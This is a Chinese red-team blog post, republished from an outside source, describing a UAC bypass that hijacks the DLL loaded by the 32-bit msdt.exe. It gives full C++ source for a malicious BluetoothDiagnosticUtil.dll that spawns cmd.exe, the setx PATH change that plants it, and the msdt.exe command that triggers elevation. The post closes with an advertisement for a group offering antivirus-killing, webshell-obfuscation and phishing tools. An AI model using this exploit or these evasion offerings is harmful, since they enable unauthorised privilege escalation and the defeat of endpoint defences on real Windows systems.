【红队思路】DLL劫持下UAC提权

admin 2026-01-05 17:49:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文阐述了利用DLL劫持msdt.exe实现UAC绕过的技术。通过编译恶意DLL并设置环境变量PATH,执行特定诊断命令触发BluetoothDiagnosticUtil.dll加载,从而以高权限启动cmd。文章提供了具体代码与操作步骤,并建议在DLL中加入关闭弹窗代码以实现自动化执行。 综合评分: 75 文章分类: 红队,漏洞POC,渗透测试,软文广告


cover_image

【红队思路】DLL劫持下UAC提权

原创

Hello888

安全天书

2026年1月5日 14:30 广西

0x01 声明

本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!

0x02 UAC介绍

受影响的可执行文件是C:\windows\syswow64\msdt.exe,易受攻击的 DLL是32位版本,由C:\WINDOWS\SysWOW64\sdiagnhost.exe继初始加载之后msdt.exe。所涉及的 DLL 是:BluetoothDiagnosticUtil.dll

0x03 UAC使用

DLL编译

#include"pch.h"#include<iostream>#include<windows.h>void&nbsp;executor(){&nbsp; &nbsp; STARTUPINFO si = {&nbsp;sizeof(STARTUPINFO) };&nbsp; &nbsp; si.dwFlags = STARTF_USESHOWWINDOW;&nbsp; &nbsp; si.wShowWindow = SW_SHOWNORMAL;&nbsp;// Ensures the console window is visible&nbsp; &nbsp; PROCESS_INFORMATION pi;&nbsp; &nbsp;&nbsp;if&nbsp;(CreateProcess(&nbsp; &nbsp; &nbsp; &nbsp; L"C:\\Windows\\System32\\cmd.exe",&nbsp;// Application path&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;// Command line args&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;// Process handle not inheritable&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;// Thread handle not inheritable&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FALSE,&nbsp;// Inherit handles&nbsp; &nbsp; &nbsp; &nbsp; CREATE_NEW_CONSOLE,&nbsp;// Ensures a new console window&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;// Use parent's environment&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;// Use parent's starting directory&nbsp; &nbsp; &nbsp; &nbsp; &si,&nbsp;// Pointer to STARTUPINFO&nbsp; &nbsp; &nbsp; &nbsp; &pi)&nbsp;// Pointer to PROCESS_INFORMATION&nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(pi.hProcess);&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(pi.hThread);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"Failed to start cmd.exe. Error: "&nbsp;<< GetLastError() << std::endl;&nbsp; &nbsp; }}BOOL&nbsp;APIENTRY DllMain(HMODULE hModule,&nbsp; &nbsp; DWORD ul_reason_for_call,&nbsp; &nbsp; LPVOID lpReserved){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp; executor();&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

设置环境变量

setx&nbsp;PATH&nbsp;"c:\myfolder;%PATH%"

最后执行以下命令,成功UAC:

c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip&nbsp;yes

注意点:

执行后出弹出窗口是不可避免的,窗口程序为C:\Windows\SysWOW64\msdt.exe,那么可以在DLL代码中加入kill进程代码,去自动化关闭窗口!

**0x04 红蓝偶像练习生小圈子

圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满300人,欢迎各位进圈子交流学习!

**圈子目前更新相关技术文章:

* HeavenlyBypassAV内部版-轻松免杀各大杀软

  • 冰蝎webshell免杀工具

  • 哥斯拉webshell免杀工具

  • 红队场景下lnk钓鱼Bypass国内AV

  • 1日和0日POC

  • lnk钓鱼思路视频讲解

  • lnk钓鱼Bypass天擎

  • msi钓鱼

  • chm钓鱼

  • Kill360核晶

  • AV对抗-致盲AV(核晶)

  • 捆绑免杀360

  • 杀火绒

  • 火绒6.0内存免杀

  • kill-windows Defender

  • Defender分离免杀

  • Defender知识点

  • HeavenlyProtectionCS内部CS插件

  • EDR对抗思路

  • 进程注入知识点

  • 自启动思路

  • 多种维权手法

  • Fscan免杀核晶

  • QVM解决思路

  • 红队思路-钓鱼环境下小窗口截屏窃取

  • 免杀Todesk/向日葵读取工具

  • 渗透测试文章思路

  • 内网对抗文章思路

  • 还有更多红队思路文章!期待您的加入!!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全天书 Hello888《【红队思路】DLL劫持下UAC提权》

评论:0   参与:  0